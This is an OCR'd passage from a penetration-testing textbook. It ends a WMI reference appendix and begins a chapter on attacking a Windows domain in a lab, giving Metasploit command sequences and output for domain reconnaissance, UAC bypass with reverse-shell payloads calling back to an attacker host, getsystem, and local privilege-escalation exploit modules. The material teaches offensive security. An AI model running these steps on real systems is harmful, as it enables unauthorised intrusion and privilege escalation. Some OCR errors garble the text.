Methods: Set the date/time of the system, shut down the system, and
reboot the system.

WMI Class: \root\cimv2\Win32_Process

WinRM alias: wmi/root/cimv2/Win32_Process
wnic alias: process

Instances: One for each process running on the system.
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Properties: Name, PID, when the process was started, and the command
line used to start the process.

Methods: Create a new process, terminate an existing process, query the
properties of the process, set its priority, or attach a debugger.

WMI Class: \root\cimv2\Win32_QuickFixEngineering

WinRM alias: wmi/root/cimv2/Win32_QuickFixEngineering
wmic alias: qfe

Instances: Each hotfix that it installed on the system generates an
instance.

Properties: The hotfix ID, caption, a description, the user that installed
the hotfix, and the date that the hotfix was installed are recorded.

Methods: None

WMI Class: \root\cimv2\Win32_Service

WinRM alias: wmi/root/cimv2/Win32_Service
wmic alias: service
Instances: One for each service on the system.

Properties: Service name; its caption; the binary for the service; the
account name used to run the service; its state; whether it is started, and
if it is started, its PID.

Methods: Create, delete, start, pause, or stop a service.

WMI Class: \root\cimv2\Win32_Share

WinRM alias: wmi/root/cimv2/Win32_Share

wmic alias: share

Instances: One for each share on the system.

Properties: Name, caption, description, path, and status of the share.

Methods: Create, delete shares.

WMI Class: \root\cimv2\Win32_StartupCommand

WinRM alias: wmi/root/cimv2/Win32_StartupCommand

wnic alias: startup
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Instances: One for each startup command, including those in
the registry located in HKLM\SOFTWARE \Microsoft\Windows\
CurrentVersion\Run or HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\RunServices.

Properties: The command, its name, its caption and description, the
user that runs the startup command, and the location where the startup
command lies in the file system.

Methods: None

WMI Class: \root\cimv2\Win32_Volume

WinRM alias: wmi/root/cimv2/Win32_Volume
Wmic alias: volume

Instance: One for each drive connected to the system, including
network shares.

Properties: Many, including the device ID, its file system, and its caption
(drive letter).

Methods: Many, including methods to mount or dismount the disk, to
run utilities like defrag or chkdisk, to set the power state, and the ability
to reset the disk.

WMI Class: \root\default\StdRegProv

WinRM alias: wmi/root/default/StdRegProv
Instances: None
Properties: None

Methods: Creating, enumerating, or deleting registry keys; getting or
setting registry values.

WMI Class: \root\SecurityCenter2

WinRM alias: wmi/root/SecurityCenter2/AntiVirusProduct
wmic alias: None

Instances: One for each antivirus product installed on the system.
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o Properties: These include the name, and the path to the executable of
the antivirus product.

e Methods: None

Note that for WinRM aliases, the combination wmi/root/cimv2 can be abbreviated to
wmicimv2.

Useful WMI Events

There are several interesting WMI events; these include the following:
o \root\cimv2\Win32_DeviceChangeEvent

e  Occurs when a device is added, removed, or modified; this includes
changes in hardware or newly mapped devices or drives, including
network drives.

¢ Includes the time and event type.
o \root\cimv2\Win32_VolumeChangeEvent

e Occurs when alocal drive is added, removed, or modified; this does not
include network drives.

¢ Includes the time, drive name, and event type.
e \root\cimv2\Win32 ProcessStartTrace
e Occurs when a new process is started.

o Includes the process ID, process name, parent process ID, SID, session
ID, and the time.

e \root\cimv2\Win32_ProcessStopTrace
e Occurs when a process is stopped.

e Includes the process ID, process name, parent process ID, SID, session
ID, exit status, and time.

o \root\cimv2\RegistryKeyChangeEvent
e Occurs when a registry key is changed.
¢ Includes the hive and the key path.
e Does not track changes to HKEY_CLASSES ROOT or HKEY_CURRENT_USER.
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\root\cimv2\RegistryTreeChangeEvent

e Occurs when a registry key and subkeys are changed.

¢ Includes the hive and the registry key that contains the subkeys.

o Does not track changes to HKEY_CLASSES_ROOT or HKEY_CURRENT_USER.
\root\cimv2\RegistryValueChangeEvent

e Occurs when a single value of a key is changed.

¢ Includes the hive, key path, and the value.

e Does not track changes to HKEY_CLASSES_ROOT or
HKEY_CURRENT_USER.

\root\cimv2\Win32_ComputerShutdownEvent

e Occurs when the computer begins to shut down, restart, or a user
logs off.

¢ Includes the time, and the type - logoff or shutdown/reboot.
__InstanceCreationEvent

e Occurs whenever a new instance is added to the namespace.

¢ Includes the time and the object being added.
__InstanceDeletionEvent

e Occurs whenever a new instance is deleted from the namespace.

¢ Includes the time and the object being added.

Useful WMI Subscription Classes

Interesting WMI subscription classes include the following:

\root\subscription\ActiveScriptEventConsumer
\root\subscription\CommandLineEventConsumer
\root\subscription\LogFileEventConsumer
\root\subscription\NTEventLogEventConsumer

\root\subscription\SMTPEventConsumer
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References

The firewall rule proposed in the text to allow remote RPC calls can be tightened by choosing
the program or service to which they apply. There are several predefined rules for RPC available
in the New Inbound Rule Wizard that can be used for particular services. The advantage of the
approach in the text is that only the one rule is needed for all the various examples, rather than
separate rules for each service. At the same time, separate rules would allow for tighter control
over what passes through the firewall.

For more information about WinRM and winzs, the reader is best served by Microsoft’s
documentation. For WinRM, try https://docs.microsoft.com/en-us/windows/desktop/
WinRM/portal while for winrs, try https://technet.microsoft.com/en-us/library/
hh875630(v=ws.11).aspx. To configure WinRM to listen over HTTPS, try https://blogs.technet.
microsoft.com/meamcs/2012/02/24/how-to-force-winrm-to-listen-interfaces-over-https/.

There currently is no recent gentle and comprehensive introduction to WMI. On the other
hand, there is a great deal of documentation available from Microsoft, including pages from
MSDN and from TechNet.

o Windows Management Instrumentation: https://docs.microsoft.com/
en-us/windows/desktop/WmiSdk/wmi-start-page

e WQL (SQL for WMI) - https://docs.microsoft.com/en-us/windows/
desktop/WmiSdk/wql-sql-for-wmi

e Querying with WQL - https://docs.microsoft.com/en-us/windows/
desktop/WmiSdk/querying-with-wgl

o Receiving a WMI Event - https://docs.microsoft.com/en-us/windows/
desktop/WmiSdk/receiving-a-wmi-event

e Managed Object Format - https://docs.microsoft.com/en-us/windows/
desktop/WmiSdk/managed-object-format--mof-

e MOF Data Types - https://docs.microsoft.com/en-us/windows/desktop/
WmiSdk/mof-data-types

o  WMI Scripting Primer - https://msdn.microsoft.com/en-us/library/
ms974579.aspx

o Creating a WMI Script - https://docs.microsoft.com/en-us/windows/
desktop/WmiSdk/creating-a-wmi-script

o How WMI Event Notification Works - https://technet.microsoft.com/
en-us/library/ee156572.aspx

The book Windows Command Line Administration Instant Reference by John Paul Mueller
(Sybex, 2010) has nice material that covers the wmic command-line tool.
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Another nice introduction to WMI and MOF is https://www.codeproject.com/
Articles/27914/WMI-MOF-Basics.

There are many WMI scripts available for download at https://gallery.technet.
microsoft.com/scriptcenter/site/search?{%5B0%5D. Type=Tag&f%5B0%5D.Value=WMI.

For more about the difference between the WMI PowerShell cmdlets and the CIM cmdlets, see
https://blogs.msdn.microsoft.com/powershell/2012/08/24/introduction-to-cim-cmdlets/.

For more information about how to add or remove the GUI on Windows Server 2012 or
2012 R2, try https://blogs.technet.microsoft.com/gbanin/2012/12/11/converting-a-
server-with-a-gui-to-or-from-server-core/ or https://blogs.technet.microsoft.com/
heyscriptingguy/2013/01/25/use-powershell-to-remove-the-gui-on-windows-server-2012/.

The announcement that Windows Server 2016 does not support adding or removing the GUI
was made at, for example, https://cloudblogs.microsoft.com/windowsserver/2017/04/05/
switching-between-windows-server-2016-server-core-and-desktop-experience/.
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CHAPTER 8

Attacking the Windows
Domain

Introduction

An attacker that has gained a foothold on a network using the techniques of Chapter 2 can use
Metasploit and native tools to expand their influence. Metasploit comes with reconnaissance modules
that allow the attacker to determine their user privileges, the domain controller(s), and the account
names for the domain administrators. If the attacker has compromised a privileged account, there
are methods to allow the attacker to bypass User Account Control (UAC) to gain SYSTEM privileges.
If not, the chapter presents ways the attacker can try to gain SYSTEM privileges, including exploiting
insecure configuration of the host or using one of the Metasploit privilege escalation modules.

To obtain domain credentials, the attacker can deploy network attacks; try phishing for
credentials; or if they have obtained SYSTEM access to a host, use the Incognito or the Kiwi
(Mimikatz) extensions to Meterpreter. Once password hashes have been obtained, these can
then be cracked using John the Ripper. Once domain administrator credentials are available,
the Metasploit psexec module allows the attacker to move laterally across a domain. An attacker
with domain administrator credentials able to access the domain controller can download the
password hashes for the accounts in the domain for later cracking.

Windows Reconnaissance

Chapter 2 showed how to gain unprivileged access to a Windows system through a variety of
browser-based attacks, including attacks against Internet Explorer, Firefox, Adobe Flash, and
Java, as well as through simple malware. This chapter starts with an attacker in possession of an
unprivileged Meterpreter shell on a remote system. The attacker has created a workspace for the
attack to store the results (Chapter 5).
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Metasploit Tools

Once the attacker obtains a shell, one of the first things the attacker can do is determine basic
information about the system via sysinfo, and the compromised user via getuid.

[*] Sending stage (1189423 bytes) to 10.0.15.214
[*] Meterpreter session 1 opened (10.0.2.2:8855 -> 10.0.15.214:49242) at
2017-06-01 20:53:37 -0400

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : CHICAGO

0S : Windows 8.1 (Build 9600).
Architecture ! x64

System Language : en_US

Domain : PLUTO

Logged On Users : 4

Meterpreter : x64/windows

meterpreter > getuid
Server username: PLUTO\gverdi

In this example, the attacker has compromised a 64-bit Windows 8.1 system named Chicago.
This system is on the domain PLUTO, and the attacker has access as the domain user PLUTO\gverdi.
If the compromised system is not on a domain, then the value of the Domain is the
name of the workgroup for the system (often WORKGROUP), and the user name has the form
<hostname>\<username>

Determining Privileges

To determine the privileges of this user, the attacker runs the post-exploitation module
post/windows/gather/win_privs

msf exploit(firefox_proto_crmfrequest) > use post/windows/gather/win_privs
msf post(win_privs) > info

... Output Deleted ...

Basic options:
Name Current Setting Required Description

SESSION yes The session to run this module on.
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Description:
This module will print if UAC is enabled, and if the current account
is ADMIN enabled. It will also print UID, foreground SESSION ID, is
SYSTEM status and current process PRIVILEGES.

msf post(win_privs) > set session 1
session => 1
msf post(win_privs) > exploit

Current User

Admin System Admin Group UAC Enabled Foreground ID UID

False False False True 1 "PLUTO\\gverdi"

SeChangeNotifyPrivilege
SeIncreaselorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

[*] Post module execution completed

The attacker concludes that though PLUTO\gverdi is a domain user, the account does not
have local administrative privileges. Moreover, UAC is enabled on the system.

Determining the Domain

The PLUTO domain is the next reconnaissance target. The module post/windows/gather/enum_
domain can be used to identify the domain controller(s).

msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info

... Output Deleted ...

Description:
This module identifies the primary domain via the registry. The
registry value used is:
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group
Policy\History\DCName.

Basic options:

Name Current Setting Required Description
SESSION yes The session to run this module on.
Description:

This module identifies the primary domain via the registry. The
registry value used is:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group
Policy\History\DCName.

msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit

[+] FOUND Domain: pluto
[+] FOUND Domain Controller: oort (IP: 10.0.15.200)
[*] Post module execution completed

This domain has the single domain controller oort at 10.0.15.200; the module records the
presence of this new host in the Metasploit database.

msf post(enum_domain) > hosts -c address,name,os_name,os_flavor,info

Hosts
address name 0S_hame os_flavor info
10.0.15.200 oort Domain controller for pluto

10.0.15.214 CHICAGO Windows 8.1

If the attacker had not created a separate workspace for this engagement, this database would
contain information from other attacks and other engagements (¢f. Chapter 5).

Determining the Users

The module post/windows/gather/enum_domain_group_users provides the membership of user
groups on the domain; in particular, it can be used to determine which users are members of the
domain admins group.

msf post(enum_domain) > use post/windows/gather/enum_domain_group_users
msf post(enum_domain_group users) > info
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... Output Deleted ...

Basic options:

Name Current Setting Required Description

GROUP yes Domain Group to enumerate

SESSION yes The session to run this module on.
Description:

This module extracts user accounts from specified group and stores
the results in the loot. It will also verify if session account is
in the group. Data is stored in loot in a format that is compatible
with the token_hunter plugin. This module should be run over as
session with domain credentials.

msf post(enum_domain_group users) > set session 1

session => 1

msf post(enum_domain_group users) > set group Domain Admins
group => Domain Admins

msf post(enum domain group users) > exploit

[*] Running module against CHICAGO

[*] Found users in Domain Admins

[*] PLUTO\Administrator

[*] PLUTO\gmahler

[*] PLUTO\jbach

[*] Current session running as PLUTO\gverdi is not a member of Domain Admins
[*] User list stored in /root/.msf4/loot/20170601210429 ch08 10.0.15.214 do

main.group.mem 161322.txt
[*] Post module execution completed

This domain has three domain administrator accounts - the default PLUTO\Administrator,
as well as the accounts PLUTO\gmahler and PLUTO\jbach. This list of domain administrators is
stored locally in a file in the loot directory, located in /root/.msf4/1loot by default.

The module post/windows/gather/enum_logged on users determines not only the users
currently logged on to the system, but also users that have logged on to the system recently.

mst > use post/windows/gather/enum_logged_on_users
msf post(enum_logged on_users) > info
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... Output Deleted ...

Basic options:

Name Current Setting Required Description

CURRENT  true yes Enumerate currently logged on users

RECENT  true yes Enumerate Recently logged on users

SESSION yes The session to run this module on.
Description:

This module will enumerate current and recently logged on Windows
users

msf post(enum logged on users) > set session 1
session => 1
msf post(enum_logged on users) > exploit

[*] Running against session 1

Current Logged Users

SID User

S-1-5-21-2712758988-2974005575-3302443488-1118 PLUTO\gverdi

[*] Results saved in: /root/.msf4/loot/20170601210753_ch08 10.0.15.214 host
.users.activ_181164.txt

Recently Logged Users

SID Profile Path

S-1-5-18 %systemroot¥\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1810664857-198837860-5215529-1001 C:\Users\Ada Lovelace

$-1-5-21-2712758988-2974005575-3302443488-1103 C:\Users\jbach
$-1-5-21-2712758988-2974005575-3302443488-1118 C:\Users\gverdi

[*] Post module execution completed

Of immediate interest to the attacker is the fact that one of the domain administrators,
PLUTO\jbach, has logged into this system in the recent past. The user Ada Lovelace is a local user,
as its SID does not match the SID of the known domain users PLUTO\jbach and PLUTO\gverdi.
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There are native Windows tools that perform these same basic reconnaissance tasks; these can be

employed if the attacker is able to execute code on the target but is unable to obtain a Meterpreter

session.

Determining Privileges

For example, to find the groups and privileges a user possesses, that user can run

C:\Users\cdebussy>whoami /all

USER INFORMATION

pluto\cdebussy S-1-5-21-2712758988-2974005575-3302443488-1124

GROUP INFORMATION

Group Name Attributes
Everyone

Mandatory group,
BUILTIN\Users

Mandatory group,
NT AUTHORITY\INTERACTIVE

Mandatory group,
CONSOLE LOGON

Mandatory group,
NT AUTHORITY\Authenticated Users

Mandatory group,
NT AUTHORITY\This Organization

Mandatory group,
LOCAL

Mandatory group,
PLUTO\Sales Admins

Well-known group S-1-1-0

Enabled by default, Enabled group
Alias S-1-5-32-545
Enabled by default, Enabled group
Well-known group S-1-5-4

Enabled by default, Enabled group
Well-known group S-1-2-1

Enabled by default, Enabled group
Well-known group S-1-5-11
Enabled by default, Enabled group
Well-known group S-1-5-15
Enabled by default, Enabled group
Well-known group S-1-2-0

Enabled by default, Enabled group
Group

S-1-5-21-2712758988-2974005575-3302443488-1144

Mandatory group,

Enabled by default, Enabled group

Authentication authority asserted identity Well-known group S-1-18-1

Mandatory group,
Mandatory Label\Medium Mandatory Level

Enabled by default, Enabled group
Label S-1-16-8192
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PRIVILEGES INFORMATION

Privilege Name Description State
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaselWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

USER CLAIMS INFORMATION

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Determining the Domain

To find information about the domain, the user can use wmic to determine the domain name and
nltest to determine the domain controllers.

C:\Users\jhaydn>umic computersystem get domain
Domain
pluto.test

C:\Users\cdebussy>nltest /dclist:pluto.test
Get list of DCs in domain 'pluto.test' from '\\oort.pluto.test'.
oort.pluto.test [PDC] [DS] Site: Default-First-Site-Name
horizons.pluto.test [DS] Site: Default-First-Site-Name
The command completed successfully

C:\Users\cdebussy>nltest /dsgetdc:pluto.test
DC: \\oort.pluto.test
Address: \\10.0.15.200
Dom Guid: 11ef2f06-el1fa-487d-bc23-9053ec4129b3
Dom Name: pluto.test
Forest Name: pluto.test
Dc Site Name: Default-First-Site-Name
Our Site Name: Default-First-Site-Name
Flags: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS DC DNS_DOMAIN
DNS_FOREST CLOSE_SITE FULL_SECRET WS DS_8 DS _9 DS_10
The command completed successfully
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The user is on the domain pluto.test, which has a domain controller oort.pluto.test at
10.0.15.200.

Determining the Users

To determine the users of the domain, including the domain administrators, a user can run

C:\Users\cdebussy>net user /domain
The request will be processed at a domain controller for domain pluto.test.

User accounts for \\oort.pluto.test

abruckner Administrator advorak
cdebussy DefaultAccount dshostakovich
fchopin fliszt fmendelssohn
fschubert ghandel gmahler
gpierluigi gpuccini Guest

gverdi hberlioz istravinsky
jbach jbrahms jhaydn

krbtgt 1beethoven ptchaikovsky
rschumann rstrauss rwagner
sprokofiew wmozart

The command completed successfully.

C:\Users\cdebussy>net group "Domain Admins" /domain
The request will be processed at a domain controller for domain pluto.test.

Group name Domain Admins

Comment Designated administrators of the domain
Members

Administrator gmahler jbach

The command completed successfully.

An unprivileged user can also use the Sysinternals tool Active Directory Explorer to find
out this and more. Consider Figure 8-1. Here the user can identify the domain controllers (oort
and horizon) and can examine information about the organizational unit “Main Site” including
enumerating the workstations and the users in that OU. The user Anton Bruckner is selected, and
the tool provides important information about the account, including its group memberships, the
last time the password was set, and the last time the user logged in.
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A Active Directary Explorer - Sysinternals: www.sysinternals.com [<default domain [oort.pluto.test]] - o x
File Edit Favorites Search Compare History Help

= EH | e~
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Figure 8-1. Using the Sysinternals tool Active Directory Explorer as an unprivileged domain user
to perform reconnaissance on a Windows domain. Windows 10-1607 shown.

Windows Local Privilege Escalation

An attacker that has gained a shell on a target generally does not have all the privileges available
on the target. The process of moving from a lower privileged shell to a higher one is called
privilege escalation.

Bypassing UAC

Beginning with Windows Vista, Microsoft introduced the notion of the integrity level of a
process. Initially the allowable values were untrusted, low, medium, high, and system. With

the introduction of Windows 8, the AppContainer option was included. Processes with a lower
integrity level are restricted in what they can do. The standard integrity level for a process is
medium, even if that process is started by an administrator. To pass from medium integrity to high
integrity, the user must pass through user access control (UAC). An administrator that wants to
take full advantage of their privileges must confirm this by running the program as administrator.
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The integrity level of a process can be shown in Process Explorer from Sysinternals; however,

itis not one of the default columns. To include it, from Process Explorer, navigate the main menu

to View » Select Columns, then select Integrity Level. Figure 8-2 shows Process Explorer on

Windows 10-1504. The Internet Explorer process is running with medium integrity, with a child

process running at low integrity. There are two command prompts. The first with PID 3404 is a

typical prompt and is running with medium integrity. The second with PID 3892 was launched by
selecting Run As Administrator and is running with high integrity.
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Figure 8-2. Using Process Explorer to view integrity levels. Shown on Windows 10-1504.

A user with a command prompt can directly determine its integrity level with the command

whoami /groups. For example, running this on an unprivileged command prompt as a domain

administrator yields

357



CHAPTER 8  ATTACKING THE WINDOWS DOMAIN

C:\Users\jbach>whoami /groups /fo list

GROUP INFORMATION

... Output Deleted ...

Group Name: PLUTO\Domain Admins

Type: Group

SID: $-1-5-21-2712758988-2974005575-3302443488-512
Attributes: Group used for deny only

Group Name: Mandatory Label\Medium Mandatory Level

Type: Label
SID: 5-1-16-8192
Attributes:

The last entry shows that the prompt is running with medium integrity. Running the same
command on the high-integrity command prompt started with Run As Administrator returns
the following.

C:\Windows\system32>whoami /groups /fo list

GROUP INFORMATION

... Output Deleted ...

Group Name: PLUTO\Domain Admins

Type: Group

SID: $-1-5-21-2712758988-2974005575-3302443488-512
Attributes: Mandatory group, Enabled by default, Enabled group

Group Name: Mandatory Label\High Mandatory Level

Type: Label
SID: S-1-16-12288
Attributes:

Suppose that an attacker obtains a shell on a system as a domain administrator running with
medium integrity. The attacker cannot do many things that an (elevated) administrator could do.
For example, they can check that the WinRM service is not running, but because the process is
running with medium integrity, attempts to start the service are blocked.

meterpreter > getuid
Server username: PLUTO\jbach

meterpreter > shell
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Process 3512 created.

Channel 1 created.

Microsoft Windows [Version 10.0.10240]

(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\jbach\Desktop>whoami /groups /fo list
whoami /groups /fo list

GROUP INFORMATION

... Output Deleted ...

Group Name: PLUTO\Domain Admins

Type: Group

SID: $-1-5-21-2712758988-2974005575-3302443488-512
Attributes: Group used for deny only

Group Name: Mandatory Label\Medium Mandatory Level

Type: Label
SID: S5-1-16-8192
Attributes:

C:\Users\jbach\Desktop>sc query winxm
SC query winrm

SERVICE_NAME: winrm

TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED

WIN32 EXIT CODE : 0 (0x0)
SERVICE_EXIT CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT _HINT : 0x0

C:\Users\jbach\Desktop>sc start winrm
sc start winrm
[SC] StartService: OpenService FAILED 5:

Access is denied.

Bypassing UAC by Asking

One approach the attacker can take to bypassing UAC is the same one that Windows applications
do in the same situation - ask the user. Nicely. This can be done with the Metasploit module
exploit/windows/local/ask. Load the module and provide a session and a payload. There are
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two techniques the exploit can use: executable and PowerShell. To configure the module to use
PowerShell, set the technique to PSH and run the exploit.

msf exploit(handler) > use exploit/windows/local/ask
msf exploit(ask) > info

... Output Deleted ...

Available targets:
Id Name

0 Windows

Basic options:

Name Setting Required Description

FILENAME no File name on disk

PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)

Payload information:

Description:
This module will attempt to elevate execution level using the
ShellExecute undocumented RunAs flag to bypass low UAC settings.

msf exploit(ask) > set session 1

session => 1

msf exploit(ask) > set technique PSH

technique => PSH

msf exploit(ask) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse tcp

msf exploit(ask) > set lhost 10.0.2.2

lhost => 10.0.2.2

msf exploit(ask) > exploit

[*] Started reverse TCP handler on 10.0.2.2:4444

When the exploit runs, the user on the target system will see a UAC prompt appear like that in
Figure 8-3.
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Frogram name Windows Cammand Processar
Verified publisher. Microsoft Windows

Figure 8-3. UAC appearing as a result of exploit/windows/local/ask, shown on Windows 10-1504

Because the attacker is using the PowerShell technique, the name of the program requesting
elevation is “Windows Command Processor.” If the target clicks yes, the attacker is provided with
a second shell.

] Started reverse TCP handler on 10.0.2.2:4444

] UAC is Enabled, checking level...

*] The user will be prompted, wait for them to click 'Ok’

] Executing Command!

] Sending stage (1189423 bytes) to 10.0.15.206

*] Meterpreter session 2 opened (10.0.2.2:4444 -> 10.0.15.206:59159) at
2017-04-29 14:25:12 -0400

meterpreter >
A check then shows that the resulting shell is running as high integrity.

meterpreter > getuid

Server username: PLUTO\jbach
meterpreter > shell

Process 2388 created.
Channel 1 created.
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Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups /fo list
whoami /groups /fo list

GROUP INFORMATION

... Output Deleted ...

Group Name: Mandatory Label\High Mandatory Level

Type: Label
SID: S-1-16-12288
Attributes:

Bypassing UAC via Injection

The problem with this approach is that it requires an administrator to explicitly approve the

elevation. There are other approaches to bypass UAC that do not require the intervention of the
administrator. One way to bypass UAC is with the module exploit/windows/local/bypassuac_
injection. This method is reliable and works on a range of Windows systems from Windows 7

SP1 through Windows 10.

To use the module, the attacker specifies the target architecture, the payload, and a current

session running with medium integrity.

msf exploit(handler) > use exploit/windows/local/bypassuac_injection

msf exploit(bypassuac_injection) > info
... Output Deleted ...

Available targets:
Id Name
0 Windows x86
1 Windows x64

Basic options:
Name Current Setting Required Description

SESSION yes The session to run this module on.
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Payload information:

Description:
This module will bypass Windows UAC by utilizing the trusted
publisher certificate through process injection. It will spawn a
second shell that has the UAC flag turned off. This module uses the
Reflective DLL Injection technique to drop only the DLL payload
binary instead of three seperate binaries in the standard technique.
However, it requires the correct architecture to be selected, (use
x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL
should call ExitProcess() after starting your payload in a seperate
process.

msf exploit(bypassuac_injection) > set session 1

session => 1

msf exploit(bypassuac_injection) > set payload windows/meterpreter/reverse_https

payload => windows/meterpreter/reverse https

msf exploit(bypassuac_injection) > set lhost 10.0.2.2

lhost => 10.0.2.2

When the exploit completes, a new shell is spawned with high integrity.
msf exploit(bypassuac_injection) > exploit

[*] Started reverse TCP handler on 10.0.2.2:4444

[+] Windows 10 (Build 14393). may be vulnerable.

[*] UAC is Enabled, checking level...

[+] Part of Administrators group! Continuing...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[*] Uploading the Payload DLL to the filesystem...

[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 2332

[*] Sending stage (957487 bytes) to 10.0.15.204

[*] Meterpreter session 2 opened (10.0.2.2:4444 -> 10.0.15.204:55226) at 2017-04-29
17:17:14 -0400

[+] Deleted C:\Users\jbach\AppData\lLocal\Temp\VucAtahWU.d1l

[+] Deleted C:\Windows\System32\NTWDBLIB.d1l1l

Although this method in general is not noticeable on the target system, there is an exception.
If the target is running Windows 10-1607, then the user is presented with a dialog (Figure 8-4) that
they must click through before elevation. This method may also be caught by antivirus.
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User Azcount Control

Do you want to allow this app to make
changes to your device?

&, sqL Client Configuration Utility EXE

Verified publisher: Microsoft Windows

Show more details

Yes

Figure 8-4. The dialog box that appears when exploit/windows/local/bypassuac_injection is run
against a Windows 10-1607 host

Other UAC Bypass Techniques

These are not the only approaches that can be taken. The modules exploit/windows/local/
bypassuac and exploit/windows/local/bypassuac_eventvwr are successful on Windows 7 SP1
and Windows 8 systems. The module exploit/windows/local/bypassuac_fodhelper works on
Windows 10. Stepping away from Metasploit, 54 different approaches are included in the tool
UACMe from hfiref0x available from https://github.com/hfirefox/UACME. The site describes
the method used by each approach, including the targets it can exploit.

Windows Privilege Escalation to SYSTEM

An attacker with a shell on a Windows target usually wants to escalate privileges to an account
with administrator or SYSTEM privileges. The process, however, varies not only with the
operating system and the service pack level, but also depends on the underlying architecture of
the system.

If the user is an administrator user and has a high-integrity command prompt, they can use
the Sysinternals tool psexec to upgrade to SYSTEM.
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c:\Program Files\SysinternalsSuite>psexec /s cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

For a slightly more complex case, consider an attacker with a shell on the system as an
administrator running with high integrity. In this case the attacker can use the command
getsystem to move from the administrator account to a system account. Consider the Windows
10-1607 system from the previous example where exploit/windows/local/bypassuac_
injection was used to migrate to a high-integrity process. Run the getsystem command to get a
SYSTEM shell.

meterpreter > sysinfo

Computer : DRAKE

0S : Windows 10 (Build 14393).
Architecture : x86

System Language : en_US

Domain : PLUTO

Logged On Users : 5

Meterpreter : x86/windows

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

In general, the attacker does not begin with a shell started by a domain administrator, and
so the various methods to bypass UAC are of no help. One approach in this case is to rely on an
exploit to gain the desired additional privileges. There are several Metasploit modules for this
purpose.

e Windows EPATHOB]::pprFlattenRec Local Privilege Escalation
o exploit/windows/local/ppr flatten rec
o (CVE2013-3660, MS13-015

¢  Windows 7 SP1 (x86)
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o Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
o exploit/windows/local/ms13_053_schlamperei
o CVE2013-1300, MS13-053
¢ Windows 7 SP1 (x86)
o Windows TrackPopupMenuEx Win32k NULL Page
o exploit/windows/local/ms13_081_track_popup_menu
« CVE2013-3881, MS13-081
¢«  Windows 7 SP1 (x86)
e Windows TrackPopupMenu Win32k NULL Pointer Dereference
o exploit/windows/local/ms14 058 track popup_menu
o CVE2014-4113, MS14-058
¢«  Windows 7 SP1 (x86, x86_64)

e MS15-001 Microsoft Windows NtApphelpCacheControl Improper
Authorization Check

o exploit/windows/local/ntapphelpcachecontrol
¢ CVE2015-0002, MS15-001
e 32-bitsession on the target
¢«  Windows 8 (x86, x86_64), Windows 8.1 (x86, x86_64)
e Windows ClientCopylmage Win32k Exploit
o exploit/windows/local/ms15 051 client copy image
o CVE2015-1701, MS15-051
¢  Windows 7 SP1 (x86, x86_64)
e MS16-016 mrxdav.sys WebDav Local Privilege Escalation
o exploit/windows/local/ms16_ 016 webdav
o CVE2016-0051, MS16-016
o Windows 7 SP1 x86
e Windows WMI Receive Notification Exploit
o exploit/windows/local/ms16 014 wmi_recv_notif
o CVE2016-0040, MS16-014

¢ Windows 7 SP1 x64
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e MSI16-032 Secondary Logon Handle Privilege Escalation
o exploit/windows/local/ms16_032_secondary logon_handle privesc
e (CVE 2016-0099, MS16-032
¢ Windows 7 SP1, Windows 8, Windows 8.1, Windows 10-1504

e System CPU needs at least two cores

Example: Windows 10-1504 and MS16-032 Secondary Logon
Handle Privilege Escalation

As an example of these techniques, suppose that an attacker has gained a 64-bit Meterpreter shell
as an unprivileged user on a 64-bit Windows 10-1504 system with at least two CPU cores.

meterpreter > sysinfo

Computer : ELLIOT

0S : Windows 10 (Build 10240).
Architecture 1 x64

System Language : en_US

Domain : PLUTO

Logged On Users : 5

Meterpreter : X64/windows

meterpreter > getuid
Server username: PLUTO\jhaydn

To escalate privileges to SYSTEM, the attacker starts by loading the MS16-032 Secondary
Logon Handle Privilege Escalation module.

mst > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle privesc) > info

... Output Deleted ...

Available targets:
Id Name

Windows x86
1 Windows x64

Basic options:
Name Current Setting Required Description

SESSION yes The session to run this module on.
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Payload information:

Description:
This module exploits the lack of sanitization of standard handles in
Windows' Secondary Logon Service. The vulnerability is known to
affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This
module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.

... Output Deleted ...

The attacker specifies the target architecture, configures the payload, and then chooses the
session.

msf exploit(ms16_032_secondary_logon_handle privesc) > set target 1

target => 1

msf exploit(ms16 032 secondary logon handle privesc) > set payload windows/x64/
meterpreter/reverse_tcp

